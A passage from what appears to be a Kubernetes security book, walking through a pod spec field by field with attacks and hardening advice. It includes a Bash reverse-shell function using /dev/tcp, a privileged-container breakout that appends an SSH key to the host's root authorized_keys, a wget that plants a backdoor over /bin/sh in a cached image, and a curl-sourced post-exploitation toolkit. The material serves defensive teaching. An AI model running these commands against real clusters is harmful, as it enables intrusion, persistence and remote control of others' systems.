Remote code execution

If a vulnerability in your application can be used to run untrusted (and in this case, external) code, it is called an RCE (remote code execution). An adversary can use an RCE to spawn a remote control session into the application’s environment: here it is the container handling the network request, but if the RCE manages to pass untrusted input deeper into the system, it may exploit a different process, pod, or cluster.

Your first goal of Kubernetes and pod security should be to prevent remote code execution (RCE), which could be as simple as a kubectl exec, or as complex as a reverse shell, such as the one demonstrated in Figure 2-1:

Figure 2-1. Reverse shell into a Kubernetes pod

Application code changes frequently and may hide undiscovered bugs, so robust AppSec practices (including IDE and CI/CD integration of tooling and dedicated security requirements as task acceptance criteria) are essential to keep an attacker from compromising the processes running in a pod.

With that, let’s move on to the network aspects.

Network attack aurface

The greatest attack surface, see also of a Kubernetes cluster is its network interfaces and public-facing pods, and network-facing services such as web servers are first line of defence in keeping your clusters secure, a topic we will dive into in Chapter 5.

This is because unknown users coming in from across the network scan network-facing applications for the exploitable signs of RCE. They can use automated network scanners to attempt to exploit known vulnerabilities and input-handling errors in network-facing code. If a process or system can be forced to run in an unexpected way, there is the possibility that it can be compromised through these untested logic paths.

To investigate how an attacker may establish a foothold in a remote system using only the humble, all-powerful Bash shell, see for example Chapter 16 of Cybersecurity Ops with bash.

To defend against this, we must scan containers for operating system and application CVEs in the hope of updating them before they are exploited.

If Captain Hashjack has an RCE into a pod, it’s a foothold to attack your system more deeply from the pod’s network position. You should strive to limit what an attacker can do from this position, and customise your security configuration to a workload’s sensitivity. If your controls are too loose, this may be the beginning of an organisation-wide breach for your employer, BCTL.

As Captain Hashjack has just discovered, we have also been running a vulnerable version of the Struts library. This offers an opportunity to start attacking the cluster from within.

revshell() {
    local DEFAULT_IP="${1:-123.123.123.123}";
    local DEFAULT_PORT="${2:-1234}";
    while :; do
        nohup bash -i &> /dev/tcp/${DEFAULT_IP}/${DEFAULT_PORT} 0>&1;
        sleep 1;
    done
}

As the attack begins, let’s take a look at where the pirates have landed: inside a Kubernetes pod.

Sharing network and storage

A group of containers in a pod share a network namespace, so all your container’s ports are available on the same network adapter to any container in the pod. This gives an attacker in one container of the pod a chance to attack private sockets available on any network interface, including the loopback adapter 127.0.0.1.

Each container runs in a root filesystem from its container image that is not shared between containers. Volumes must be mounted into each container in the pod configuration, but a pod’s volumes may be available to all containers if configured that way, as Figure 2-3 shows.

Here we see Figure 2-7 with some of the paths inside a container workload that an attacker may be interested in (note the user and time namespaces are not currently in use):

Figure 2-7. Namespaces wrapping the containers in a pod (inspiration)

The special virtual filesystems listed here are all possible paths of breakout if misconfigured and accessible inside the container: /dev may give access to the host’s devices, /proc can leak process information, or /sys supports functionality like launching new containers.

What’s the worst that could happen?

A Chief Information Security Officer (CISO) is responsible for the organisation’s security. Your role as a CISO means you should consider worst case scenarios, to ensure that you have appropriate defences and mitigations in place. Attack trees help to model these negative outcomes, and one of the data sources you can use is the Threat Matrix as shown in Figure 2-8.

Figure 2-8. Microsoft Kubernetes Threat Matrix

But there are some threats missing, and the community has added some (thanks to Alcide, and Brad Geesaman and Ian Coldwater again), as shown in Figure 2-9:

Figure 2-9. Extended Kubernetes Threat Matrix (Grey: Alcide, Red: ControlPlane, sig-honk, and friends)

We’ll explore these threats in detail as we progress through the book. But the first threat, and the greatest risk to the isolation model of our systems, is an attacker breaking out of the container itself.

Container breakout

A cluster admin’s worst fear is a container breakout, that is, a user or process inside a container that can run code outside of the container’s execution environment.

Speaking strictly, a container breakout should exploit the kernel, attacking the code a container is supposed to be constrained by. In the authors’ opinion any avoidance of isolation mechanisms breaks the contract the container’s maintainer or operator thought they had with the process(es) inside. This means it should be considered equally threatening to the security of the host system and its data, so we define container breakout to include any evasion of isolation.

Container breakouts may occur in various ways:

• an “exploit” including against the kernel, network or storage stack, or container runtime

• a “pivot” such as attacking exposed local, cloud, or network services, or escalating privilege and abusing discovered or inherited credentials

• or most likely just a misconfiguration that allows an attacker an easier or legitimate path to exploit or pivot

If the running process is owned by an unprivileged user (that is, one with no root capabilities), many breakouts are not possible. In that case the process or user must gain capabilities with a local privilege escalation inside the container before attempting to break out.

Once this is acheived, a breakout may start with a hostile root-owned process running in a poorly-configured container. Access to the root user’s capabilities within a container is the precursor to most escapes: without root (and sometimes CAP_SYS_ADMIN), many breakouts are nullified.

apiVersion: v1
kind: Pod
metadata:
  name: security-context-demo
spec:
  securityContext:
    runAsUser: 1000
    runAsGroup: 3000
    fsGroup: 2000
  containers:
  - name: sec-ctx-demo
# ...
    securityContext:
      allowPrivilegeEscalation: false
# ...

In a container breakout scenario, if the user is root inside the container and has mount capabilities (granted by default under CAP_SYS_ADMIN, which root has unless dropped), they can interact with virtual and physical disks mounted into the container. If the container is privileged (which amongst other things disables masking of kernel paths in /dev), it can see and mount the host filesystem.

# inside a privileged container
[email protected]:~ [0]$ ls -lasp /dev/
[email protected]:~ [0]$ mount /dev/xvda1 /mnt/

# write into host filesystem's /root/.ssh/ folder
[email protected]:~ [0]$ cat MY_PUB_KEY >> /mnt/root/.ssh/authorized_keys

We look at nsenter privileged container breakouts which escape more elegantly by entering the host’s namespaces in Chapter 6.

While you should prevent this attack easily by avoiding the root user and privilege mode, and enforcing that with admission control, it’s an indication of just how slim the container security boundary can be if misconfigured.

The container and pod isolation model relies on the Linux kernel and container runtime, both of which are generally robust when not misconfigured. Container breakout occurs more often through insecure configuration than kernel exploit, although zero-day kernel vulnerabilities are inevitably devastating to Linux systems without correctly configured LSMs (Linux Security Modules, such as SELinux and AppArmor).

Container escape is rarely plain sailing, and any fresh vulnerabilities are often patched shortly after disclosure. Only occasionally does a kernel vulnerability result in an exploitable container breakout, and the opportunity to harden individually containerised processes with LSMs enables defenders to tightly constrain high-risk network-facing processes; it may entail one or more of:

• finding a zero-day in the runtime or kernel

• exploiting excess privilege and escaping using legitimate commands

• evading misconfigured kernel security mechanisms

• introspection of other processes or filesystems for alternate escape routes

• sniffing network traffic for credentials

• attacking the underlying orchestrator or cloud environment

Vulnerabilities in the underlying physical hardware often can’t be defended against in a container. For example, Spectre and Meltdown, CPU speculative execution attacks, and rowhammer, TRRespass, and SPOILER (DRAM memory attacks) bypass container isolation mechanisms as they cannot intercept the entire instruction stream that a CPU processes. Hypervisors suffer the same lack of possible protection.

Finding new kernel attacks is hard. Misconfigured security settings, exploiting published CVEs, and social engineering attacks are easier. But it’s important to understand the range of potential threats in order to decide your own risk tolerance.

We’ll go through a step-by-step security feature exploration to see a range of ways in which your systems may be attacked in the Appendix.

For more information on how the Kubernetes project manages CVEs, see Exploring container security: Vulnerability management in open-source Kubernetes.

Pod header

The standard header we know and love, defining the type of entity this YAML defines, and its version:

apiVersion: v1
kind: Pod

Metadata and annotations may contain sensitive information like IPs security hints (in this case, for Istio), although this is only useful if the attacker has read-only access:

metadata:
  annotations:
    seccomp.security.alpha.kubernetes.io/pod: runtime/default
    cni.projectcalico.org/podIP: 192.168.155.130/32
    cni.projectcalico.org/podIPs: 192.168.155.130/32
    sidecar.istio.io/rewriteAppHTTPProbers: "true"

It also historically holds the seccomp, AppArmor, and SELinux policies:

metadata:
  annotations:
    container.apparmor.security.beta.kubernetes.io/hello: localhost/k8s-apparmor-example-deny-write

We look at how to use these annotation with in the runtime policies section.

securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: my-seccomp-profile.json

Let’s move on to a part of the pod spec that is not write-able by the client but contains some important hints.

Reverse uptime

When you dump a pod sepc from the API server (using for example kubectl get -o yaml) it includes the pod’s start time:

  creationTimestamp: "2021-05-29T11:20:53Z"

Pods running for longer than a week or two are likely to be at higher risk of bugs. Sensitive workloads running for more than 30 days will be safer if they’re rebuilt in CI/CD to account for library or operating system patches.

Pipeline scanning the existing container image offline for CVEs can be used to inform rebuilds. The safest approach is to combine both: “repave” (that is, rebuild and redeploy containers) regularly, and rebuild through the CI/CD pipelines whenever a CVE is detected.

Labels

Labels in Kubernetes are not validated or strongly typed: they are metadata. Labels are targeted by things like services and controllers using selectors for referencing, and are also used for security features such as Network Policy.

  labels:
    app: frontend
    type: redish

Typos in labels mean they do not match the intended selectors, and so can inadvertently introduce security issuess such as:

• exclusions from expected network policy or admission control policy

• unexpected routing from service target selectors

• “rogue” pods that are not accurately targeted by operators or observability tooling

Managed fields

Managed fields was introduced in v1.18 and supports server-side apply. They duplicate information from elsewhere in the pod spec are of limited interest to us as we can read the entire spec from the API server. They look like this:

  managedFields:
  - apiVersion: v1
    fieldsType: FieldsV1
    fieldsV1:
      f:metadata:
        f:annotations:
          .: {}
          f:sidecar.istio.io/rewriteAppHTTPProbers: {}
# ...
      f:spec:
        f:containers:
          k:{"name":"server"}:
# ...
            f:image: {}
            f:imagePullPolicy: {}
            f:livenessProbe:
# ...

Pod namespace and owner

We know the pods’s name and namespace from the API request we made to retrieve it.

If we used --all-namespaces to return all pod configurations, this shows us the namespace:

  name: frontend-6b887d8db5-xhkmw
  namespace: default

From within a pod it’s possible to infer the current namespace from the DNS resolver configuration in /etc/resolv.conf (which is secret-namespace in this example):

$ grep -o "search [^ ]*" /etc/resolv.conf
search secret-namespace.svc.cluster.local

Other less-robust options include the mounted service account (assuming it’s in the same namespace, which it may not be), or the cluster’s DNS resolver (if you can enumerate or scrape it).

Environment variables

Now we’re getting into interesting configuration. We want to see the environment variables in a pod, partially because they may leak secret information (which should have been mounted as a file), and also because they may list which other services are available in the namespace and so suggest other network routes and applications to attack:

Here we see the container’s PORT (which is good practice and required by applications running in Knative and some other systems), the DNS names and ports of its coordinating services, some badly-set database config and credentials, and finally a sensibly-referenced secret file.

spec:
  containers:
  - env:
    - name: PORT
      value: "8080"
    - name: CURRENCY_SERVICE_ADDR
      value: currencyservice:7000
    - name: SHIPPING_SERVICE_ADDR
      value: shippingservice:50051
# These environment variables should be set in secrets
    - name: DATABASE_ADDR
      value: postgres:5432
    - name: DATABASE_USER
      value: secret_user_name
    - name: DATABASE_PASSWORD
      value: the_secret_password
    - name: DATABASE_NAME
      value: users
# This is a safer way to reference secrets and configuration
    - name: MY_SECRET_FILE
      value: /mnt/secrets/foo.toml

That wasn’t too bad, right? Let’s move on to container images.

Container images

The container image’s filesystem is of paramount importance to an attacker, as it may hold vulnerabilities that assist in privilege escalation. If you’re not patching regularly Captain Hashjack might get the same image from a public registry to scan it for vulnerabilities they may be able to exploit. Knowing what binaries and files are available also enables attack planning “offline”, so adversaries can be more stealthy and targeted when attacking the live system.

Here we see an image referenced by label, which means we can’t tell what the actual SHA256 hash digest of the container image is. The container tag could have been updated since this deployment as it’s not referenced by digest.

  image: gcr.io/google-samples/microservices-demo/frontend:v0.2.3

Instead of using image tags, we can use the SHA256 image digests to pull the image by its content address:

  image: docker run -it gcr.io/google-samples/microservices-demo/[email protected]:ca5c0f0771c89ec9dbfcbb4bfbbd9a048c25f7a625d97781920b35db6cecc19c

Images should always be referenced by SHA256, or use signed tags, otherwise it’s impossible to know what’s running as the label may have been updated in the registry since the container start. You can validate what’s being run by inspecting the running container for its image’s SHA256.

It’s possible to specifiy both a tag and an SHA256 digest in a Kubernetes image: key, in which case the tag is ignored and the image is retrieved by digest. This leads to potentially confusing image definitions such as controlplane/bizcard:[email protected]:649f3a84b95ee84c86d70d50f42c6d43ce98099c927f49542c1eb85093953875 being retrieved as the image matching the SHA rather than the tag.

If an attacker can influence the local Kubelet image cache, they can add malicious code to an image and re-label it on the host node:

# load a malicious Bash/sh backdoor and overwrite the container's default CMD (/bin/sh)
$ docker run -it --cidfile=cidfile --entrypoint /bin/busybox 
    gcr.io/google-samples/microservices-demo/frontend:v0.2.3 
    wget https://securi.fyi/b4shd00r -O /bin/sh

# commit the changed container using the same
$ docker commit $(<cidfile) gcr.io/google-samples/microservices-demo/frontend:v0.2.3

# to run this again, don't forget to remove the cidfile

While the compromise of a local registry cache may lead to this attack, container cache access probably comes by rooting the node, and so this may be the least of your worries.

This attack on a local image cache can be mitigated with an image pull policy of Always, that will ensure the local tag matches what’s defined in the registry it’s pulled from. This is important and you should always be mindful of this setting:

    imagePullPolicy: Always

Typos in container image names, or registry names, will deploy unexpected code if an adversary has “typosquatted” the image with a malicious container.

This can be difficult to detect, for example, controlplan/hack instead of controlplane/hack. Tools like Notary protect against this by checking for valid signatures from trusted parties. If a TLS-intercepting middleware box intercepts and rewrites an image tag, a spoofed image may be deployed. Again, TUF and Notary side-channel signing mitigates against this, as do other container signing approaches like cosign, as discussed in Chapter 4.

Pod probes

Your liveness probes should be tuned to your application’s performance characteristics, and used to keep them alive in the stormy waters of your production environment. Probes inform Kubernetes if the application is incapable of fulfilling its specified purpose, perhaps through a crash or external system failure.

The Kubernetes audit finding TOB-K8S-024 shows probes can be subverted by an attacker with the ability to schedule pods: without changing the pod’s command or args they have the power to make network requests and execute commands within the target container. This yields local network discovery to an attacker as the probes are executes by the Kubelet on the host networking interface, and not from within the pod.

A host header can be used here to enumerate the local network. Their proof of concept exploit:

apiVersion : v1
kind : Pod
# ...
livenessProbe:
  httpGet:
    host: 172.31.6.71
    path: /
    port: 8000
    httpHeaders :
    - name: Custom-Header
      value: Awesome

CPU and memory limits and requests

Resource limits and requests which manage the pod’s cgroups prevent the exhaustion of finite memory and compute resources on the Kubelet host, and defend from fork bombs and runaway processes. Networking bandwidth limits are not supported in the pod spec, but may be supported by your CNI implementation.

cgroups are a useful resource constraint. cgroups v2 offers more protection, but cgroups v1 are not a security boundary and they can be escaped easily.

Limits restrict the potential cryptomining or resource exhaustion that a malicious container can execute. It also stops the host becoming overwhelmed by bad deployments. It has limited effectiveness against an adversary looking to further exploit the system unless they need to use a memory-hungry attack.

    resources:
      limits:
        cpu: 200m
        memory: 128Mi
      requests:
        cpu: 100m
        memory: 64Mi

DNS

By default Kubernetes DNS servers provide all records for services across the cluster, preventing namespace segregation unless deployed individually per-namespace or domain.

The default Kubernetes CoreDNS installation leaks information about its services, and offers an attacker a view of all possible network endpoints. Of course they may not all be accessible due to network policy.

Figure 2-10. @raesene https://twitter.com/raesene/status/1414496142516232193

DNS enumeration can be performed against a default, unrestricted CoreDNS installation. To retrieve all services in the cluster namespace:

[email protected]:/ [0]# dig +noall +answer srv any.any.svc.cluster.local | sort --human-numeric-sort --key 7
any.any.svc.cluster.local. 30   IN      SRV     0 6 53 kube-dns.kube-system.svc.cluster.local.
any.any.svc.cluster.local. 30   IN      SRV     0 6 80 frontend-external.default.svc.cluster.local.
any.any.svc.cluster.local. 30   IN      SRV     0 6 80 frontend.default.svc.cluster.local.
any.any.svc.cluster.local. 30   IN      SRV     0 6 443 kubernetes.default.svc.cluster.local.
any.any.svc.cluster.local. 30   IN      SRV     0 6 3550 productcatalogservice.default.svc.cluster.local.
# ...

For all service endpoints and names:

[email protected]:/ [0]# dig +noall +answer srv any.any.any.svc.cluster.local | sort --human-numeric-sort --key 7
any.any.any.svc.cluster.local. 30 IN    SRV     0 3 53 192-168-155-129.kube-dns.kube-system.svc.cluster.local.
any.any.any.svc.cluster.local. 30 IN    SRV     0 3 53 192-168-156-130.kube-dns.kube-system.svc.cluster.local.
any.any.any.svc.cluster.local. 30 IN    SRV     0 3 3550 192-168-156-133.productcatalogservice.default.svc.cluster.local.
any.any.any.svc.cluster.local. 30 IN    SRV     0 3 5050 192-168-156-131.checkoutservice.default.svc.cluster.local.
any.any.any.svc.cluster.local. 30 IN    SRV     0 3 6379 192-168-156-136.redis-cart.default.svc.cluster.local.
any.any.any.svc.cluster.local. 30 IN    SRV     0 3 6443 10-0-1-1.kubernetes.default.svc.cluster.local.
any.any.any.svc.cluster.local. 30 IN    SRV     0 3 7000 192-168-156-135.currencyservice.default.svc.cluster.local.
# ...

To return an IPv4 address based on the query:

[email protected]:/ [0]# dig +noall +answer 1-3-3-7.default.pod.cluster.local
1-3-3-7.default.pod.cluster.local. 23 IN A      1.3.3.7

Kubernetes API server service IP information is mounted into the pod’s environment by default:

[email protected]:~ [0]# env | grep KUBE
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.7.240.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.7.240.1
KUBERNETES_SERVICE_HOST=10.7.240.1
KUBERNETES_PORT=tcp://10.7.240.1:443
KUBERNETES_PORT_443_TCP_PORT=443

[email protected]:~ [0]# curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version
{
  "major": "1",
  "minor": "19+",
  "gitVersion": "v1.19.9-gke.1900",
  "gitCommit": "008fd38bf3dc201bebdd4fe26edf9bf87478309a",
# ...

The response matches the API server’s /version endpoint.

nmap-kube-apiserver() {
  local REGEX="major.*gitVersion.*buildDate"
  local ARGS="${@:-$(kubectl config view --minify | awk '/server:/{print $2}' | sed -E -e 's,^https?://,,' -e 's,:, -p ,g')}"

  nmap --open -d 
    --script=http-get 
    --script-args "
      http-get.path=/version, 
      http-get.match="${REGEX}", 
      http-get.showResponse, 
      http-get.forceTls 
    " 
    ${ARGS}
}

Pod security context

This pod is running with an empty securityContext, which means that without admission controllers mutating the configuration at deployment time, the container can run a root-owned process and has all capabilities available to it:

  securityContext: {}

Exploiting the capability landscape involves an understanding of the kernel’s flags, and Stefano Lanaro’s guide provides a comprehensive overview.

Different capabilities may have particular impact on a system, and CAP_SYS_ADMIN and CAP_BPF are particularly enticing to an attacker. Notable capabilities you should be cautious about granting include:

• CAP_DAC_OVERRIDE, CAP_CHOWN, CAP_DAC_READ_SEARCH, CAP_FORMER, CAP_SETFCAP: bypass filesystem permissions

• CAP_SETUID, CAP_SETGID: become the root user

• CAP_NET_RAW: read network traffic

• CAP_SYS_ADMIN: filesystem mount permission

• CAP_SYS_PTRACE: all-powerful debugging of other processes

• CAP_SYS_MODULE: load kernel modules to bypass controls

• CAP_PERFMON, CAP_BPF: access deep-hooking BPF systems

These are the precursors for many container breakouts. As Figure 2-11, Brad Geesaman points out, processes want to be free! And an adversary will take advantage of anything within the pod they can use to escape.

Figure 2-11. @bradgeesaman https://twitter.com/bradgeesaman/status/1350114698092539904

Some container breakouts requiring root and/or CAP_SYS_ADMIN, CAP_NET_RAW, CAP_BPF, or CAP_SYS_MODULE to function:

• /proc/self/exe (described in Chapter 5)

• Subpath volume mount traversal (described in Chapter 5)

• CVE-2016-5195 (read-only memory copy-on-write race condition, aka DirtyCow, and detailed in “Architecting Containerised Applications for Resilience”).

• CVE-2020-14386 (an unprivileged memory corruption bug that requires CAP_NET_RAW)

• CVE-2021-30465 (runc mount destinations symlink-exchange swap to mount outside the rootfs, limited by use of unprivileged user)

• CVE-2021-22555 (Netfilter heap out-of-bounds write that requires CAP_NET_RAW)

• CVE-2021-31440 (eBPF out of bounds access to the Linux kernel requiring root or CAP_BPF, and CAPS_SYS_MODULE)

• @andreyknvl kernel bugs and core_pattern escape

When there’s no breakout, root capabilities are still required for a number of other attacks, such as CVE-2020-10749 (Kubernetes CNI plugin MitM attacks via IPv6 rogue router advertisements)

We enumerate the options available in a securityContext for a pod to defend itself from hostile containers at in the runtime policies section.

Pod service accounts

Service Accounts are JWTs (JSON Web Tokens) and are used for authorisation by a pods. The default service account shouldn’t be given any permissions, and by default comes with no authorisation.

A pod’s serviceAccount configuration defines its access privileges with the API server, see the server accounts section for the details. The service account is mounted into all pod replicas, and which share the single “workload identity”.

  serviceAccount: default
  serviceAccountName: default

Segregating duty in this way reduces the blast radius if a pod is compromised: limiting an attacker post-intrusion is a primary goal of policy controls.

Scheduler and tolerations

The scheduler is responsible for allocating a pod workload to a node. It looks as follows:

  schedulerName: default-scheduler
  tolerations:
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 300
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 300

A hostile scheduler could conceivably exfiltrate data or workloads from the cluster, but requires the cluster to be compromised in order to add it to the control plane. It would be easier to schedule a privileged container and root the control plane kubelets.

Pod volume definitions

Here we are using a bound service account token, defined in YAML as a projected service account token (instead of a standard service account). The Kubelet protects this against exfiltration by regularly rotating it (configured for every 3600 seconds, or one hour), so it’s only of limited use if stolen. An attacker with persistence is still able to use this value, and can observe it rotating, so this only protects the service account after the attack has completed.

  volumes:
  - name: kube-api-access-p282h
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3600
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace

Volumes are a rich source of potential data for an attacker, and you should ensure that standard security practices like discretionary access control (DAC, e.g. files and permissions) is correctly configured.

The container is just Linux and will not protect incorrectly configured data.

Pod network status

Network information about the pod is useful to debug containers without services, or that aren’t responding as they should, but an attacker might use this information to connect directly to a pod without scanning the network.

status:
  hostIP: 10.0.1.3
  phase: Running
  podIP: 192.168.155.130
  podIPs:
  - ip: 192.168.155.130

Enhancing the securityContext with Kubesec

Kubesec is a simple tool to validate the security of a Kubernetes resource.

It returns a risk score for the resource, and advises on how to tighten the security context:

$ cat <<EOF > kubesec-test.yaml
apiVersion: v1
kind: Pod
metadata:
  name: kubesec-demo
spec:
  containers:
  - name: kubesec-demo
    image: gcr.io/google-samples/node-hello:1.0
    securityContext:
      readOnlyRootFilesystem: true
EOF

$ docker run -i kubesec/kubesec:2.11.1 scan - < kubesec-test.yaml
[
  {
    "object": "Pod/kubesec-demo.default",
    "valid": true,
    "fileName": "STDIN",
    "message": "Passed with a score of 1 points",
    "score": 1,
    "scoring": {
      "passed": [
        {
          "id": "ReadOnlyRootFilesystem",
          "selector": "containers[] .securityContext .readOnlyRootFilesystem == true",
          "reason": "An immutable root filesystem can prevent malicious binaries being added to PATH and inc
rease attack cost",
          "points": 1
        }
      ],
      "advise": [
        {
          "id": "ApparmorAny",
          "selector": ".metadata .annotations ."container.apparmor.security.beta.kubernetes.io/nginx"",
          "reason": "Well defined AppArmor policies may provide greater protection from unknown threats. WARNING: NOT PRODUCTION READY",
          "points": 3
        },
        {
          "id": "ServiceAccountName",
          "selector": ".spec .serviceAccountName",
          "reason": "Service accounts restrict Kubernetes API access and should be configured with least privilege",
          "points": 3
        },
        {
          "id": "SeccompAny",
          "selector": ".metadata .annotations ."container.seccomp.security.alpha.kubernetes.io/pod"",
          "reason": "Seccomp profiles set minimum privilege and secure against unknown threats",
          "points": 1
        },
# ...

Kubesec.io documents practical changes to make to your security context, and we’ll document some of them here.

Hardened securityContext

The NSA published a Kubernetes Hardening Guidance document that recommends a hardened set of securityContext standards. It recommends scanning for vulnerabilities and misconfigurations, least privilege, good RBAC and IAM, network firewalling and encryption, and “to periodically review all Kubernetes settings and use vulnerability scans to help ensure risks are appropriately accounted for and security patches are applied”.

Assigning least privilege to a container in a pod is the responsibility of the securityContext

Let’s explore these in more detail using the kubesec static analysis tool, and the selectors it uses to interrogate your Kubernetes resources:

• containers[] .securityContext .privileged

A privileged container running is potentially a bad day for your security team. Privileged containers disable namespaces (except process) and LSMs, grant all capabilities, expose the host’s devices through /dev, and generally make things insecure by default. This is the first thing an attacker looks for in a newly compromised pod.

• .spec .hostPID

hostPID allows traversal from the container to the host through the /proc filesystem, which symlinks other processes’ root filesystems. To read from the host’s process namespace privileged is needed as well:

[email protected] $ kubectl run privileged-and-hostpid --restart=Never -ti --rm 
  --image lol --overrides 
  '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' 

/ $ grep PRETTY_NAME /etc/*release* 
PRETTY_NAME="Alpine Linux v3.13"

/ $ ps faux | head 
PID   USER     TIME  COMMAND
    1 root      0:07 /usr/lib/systemd/systemd noresume noswap cros_efi
    2 root      0:00 [kthreadd]
    3 root      0:00 [rcu_gp]
    4 root      0:00 [rcu_par_gp]
    6 root      0:00 [kworker/0:0H-kb]
    9 root      0:00 [mm_percpu_wq]
   10 root      0:00 [ksoftirqd/0]
   11 root      1:33 [rcu_sched]
   12 root      0:00 [migration/0]

/ $ grep PRETTY_NAME /proc/1/root/etc/*rel* 
/proc/1/root/etc/os-release:PRETTY_NAME="Container-Optimized OS from Google"

start a privileged container and share the host process namespace

check the distribution version inside the container

verify we’re in the host’s process namespace (we can see PID 1, and kernel helper processes)

check the distribution version of the host, via the /proc filesystem

/ $ grep PRETTY_NAME /proc/1/root/etc/*release*
grep: /proc/1/root/etc/*release*: Permission denied

• .spec .hostNetwork

Host networking access allows us to sniff traffic or send fake traffic over the host adapter (but only if we have permission to do so, enabled by root and CAP_NET_RAW or CAP_NET_ADMIN), and evade network policy (which depends on traffic originating from the expected source IP of the adapter in the pod’s network namespace).

It also grants access to services bound to the host’s loopback adapter (localhost in the root network namespace) that traditionally was considered a security boundary. Server Side Request Forgery (SSRF) attacks have reduced the incidence of this pattern, but it may still exist (Kubernetes’ API server --insecure-port used this pattern until it was deprecated in v1.10 and finally removed in v1.20).

• .spec .hostAliases

Permits pods to override their local /etc/hosts files. This may have more operational implications (like not being updated in a timely manner and causing an outage) than security connotations.

• .spec .hostIPC

Gives the pod access to the host’s Interprocess Communication namespace, where it may be able to interfere with trusted processes on the host. It’s likely this will enable simple host compromise via /usr/bin/ipcs or files in shared memory at /dev/shm.

• containers[] .securityContext .runAsNonRoot

The root user has special permissions and privileges in a Linux system, and this is no different within a container (although they’re less).

Preventing root from owning the procesess inside the container is a simple and effective security measure. It stops many of the container breakout attacks listed in this book, and adheres to standard and established Linux security practice.

• containers[] .securityContext .runAsUser > 10000

In addition to preventing root running processes, enforcing high UIDs for containerised processes lowers the risk of breakout without user namespaces: if the user in the conatiner (e.g. 12345) has an equivalent UID on the host (that is, also 12345), and the user in the container is able to reach them through mounted volume or shared namespace, then resources may accidentally be shared and allow container breakout (e.g. filesystem permissions and authorisation checks).

• containers[] .securityContext .readOnlyRootFilesystem

Immutability is not a security boundary as code can be downloaded from the internet and run by an interpreter (such as Bash, PHP, and Java) without using the filesystem, as the bashark post-exploitation toolkit shows:

[email protected]:/tmp [0]# source <(curl -s 
  https://raw.githubusercontent.com/redcode-labs/Bashark/master/bashark.sh)

__________               .__                  __               ________     _______
\______   \_____    _____|  |__ _____ _______|  | __ ___  __   \_____         _  
 |    |  _/\__    /  ___/  |  \__  \_  __   |/ /   / /    /  ____/    /  /_  
 |    |    / __ \_\___ |   Y  / __ |  | /    <      /    /             \_/   
 |______  /(____  /____  >___|  (____  /__|  |__|_    \_/ /  \_______  / \_____  /
        /      /     /     /     /           /       /          / /       /



[*] Type 'help' to show available commands

bashark_2.0$

Filesystem locations like /tmp and /dev/shm will probably always be writable to support application behaviour, and so read-only filesystems cannot be relied upon as a security boundary. Immutability will prevent against some drive-by and automated attacks, but is not a robust security boundary.

Intrusion detection tools such as falco and tracee can detect new Bash shells spawned in a container (or any non-allowlisted applications). Additionally tracee can detect in-memory execution of malware that attempts to hide itself by observing /proc/pid/maps for memory that was once writeable but is now executable.

• containers[] .securityContext .capabilities .drop | index("ALL")

You should always drop all capabilities and only re-add those that your application needs to operate.

• containers[] .securityContext .capabilities .add | index("SYS_ADMIN")

The presence of this capability is a red flag: try to find another way to deploy any container that requires this, or deploy into a dedicated namespace with custom security rules to limit the impact of compromise.

• containers[] .resources .limits .cpu, .memory

Limiting the total amount of memory available to a container prevents denial of service attacks taking out the host machine, as the container dies first,

• containers[] .resources .requests .cpu, .memory

Requesting resources helps the scheduler to “bin pack” resources effectively, and doesn’t have any security connotations further to a hostile API client trying to squeeze more pods onto a specific node.

• .spec .volumes[] .hostPath .path

A writable /var/run/docker.sock host mount allows breakout to the host. Any filesystem that an attacker can write a symlink to is vulnerable, and an attacker can use that path to explore and exfiltrate from the host.